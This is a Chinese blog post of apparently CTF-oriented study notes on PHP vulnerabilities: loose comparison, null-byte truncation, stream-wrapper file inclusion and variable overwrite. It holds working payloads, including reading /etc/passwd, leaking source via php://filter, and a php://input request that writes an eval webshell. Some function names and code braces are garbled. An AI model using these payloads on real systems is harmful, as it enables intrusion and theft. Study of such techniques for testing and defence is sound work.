PHP语言特性

1.弱类型

'' == 0 == false
'123' == 123
'abc' == 0
'0x01' == 1
'0e123456789' == '0e987654321'
[false] == [0] == [NULL] == ['']
NULL == false == 0
true == 1

php中'=='和'==='两比较 前者会自动进行类型转换而不改变原来的值,漏洞常存在于'=='
'=='md5碰撞, '===' md5数组
数组a[]=1与数组b[]=2 md5值相等

2.截断

PHP内核为C语言实现,在遇到NULL(\x00)字符,处理函数会将它当作结束标记

<?php
  $file =$_GET['file'];
include $file.'.tpl.html';
提交?file=../../../etc/passwd%00读取passwd文件

3.伪协议

PHP中内置了很多封装协议,如文件操作函数fopen()
假定有以下漏洞代码

<?php include($_GET['xxx']);?>

3.1 file://协议

用于访问本地文件系统,通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响

file:// [文件的绝对路径和文件名] 

3.2 php://协议

php:// 访问各个输入/输出流(I/O streams)

3.2.1 php://filter

读取源代码并进行base64编码输出
利用条件:allow_url_fopen :off/on- allow_url_include:off/on
输入 ?xxx=php://filter/convert.base64-encode/resource=文件路径 得到xxx加密后的源码: 再进行base64解码,获取到xxx的完整源码信息
?xxx=php://filter/convert.iconv.SJIS.UCS-4/resource=

3.2.2 php://input

可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。从而导致任意代码执行。
利用条件:allow_url_fopen :off/on- allow_url_include:on
利用该方法,我们可以直接写入php文件,输入file=php://input,然后使用burp抓包,写入php代码:

<?php fwrite(fopen("shell.php","w"),'<?php eval($_POST[1]);?>');?>

发送报文,使本地生成一句话木马 shell.php

3.3 zip://协议

zip:// 可以访问压缩包里面的文件。当它与包含函数结合时,zip://流会被当作php文件执行。从而实现任意代码执行。
zip://中只能传入绝对路径。 要用#分割压缩包和压缩包里的内容,并且#要用url编码成%23只需要是zip的压缩包即可,后缀名可以任意更改。相同的类型还有zlib://和bzip2://
利用条件:allow_url_fopen :off/on- allow_url_include:off/on

zip://[压缩包绝对路径]#[压缩包内文件]
?file=zip://D:\1.zip%23phpinfo.txt

3.4.data://协议

data:// 同样类似与php://input,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行。从而导致任意代码执行。
利用条件:allow_url_fopen :on- allow_url_include:on
利用data:// 伪协议可以直接达到执行php代码的效果,例如执行phpinfo()函数:

data://text/plain,<?php%20phpinfo();?>
如果此处对特殊字符进行了过滤,还可以通过base64编码后再输入:data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

4.变量覆盖

4.1函数使用不当

4.1.1extract(),paste_str()

会将$GET传入的字符解析为变量名和变量的值

4.1.2mport_requset_variables()

其值由G,P,C组成,G为GET,P为POST,C为Cookies,排在前面的字符会覆盖排在后面的字符传去参数的值(存在4.1<php.version<5.4)

4.2 配置不当

当php版本<5.4时 PHP配置 register_globals=ON时便会出现此漏洞

<?php 
  	if($auth){
      	echo 'flag';
  	else
      	echo 'acess denied';
    }

利用 register_globals的特性,用户传入参数auth=1即可进入if语句,若if语句前初始化$auth变量则不会触发此漏洞

4.3 代码逻辑漏洞

PHP中可变变量的利用($$)
若存在使用foreach遍历数组($_GET,$_POST等)来注册变量,则会出现此漏洞

<?php
  $auth  =false;
foreach($_GET as $key =>$value){
  $$key=$value;
}
if ($auth)
  echo 'flag';
  else
  echo 'acess denied';

foreach将GET传入的参数注册为变量,即传入?auth=1即可

posted @ 2023-11-01 23:19  凪白Kw  阅读(10)  评论(0编辑  收藏  举报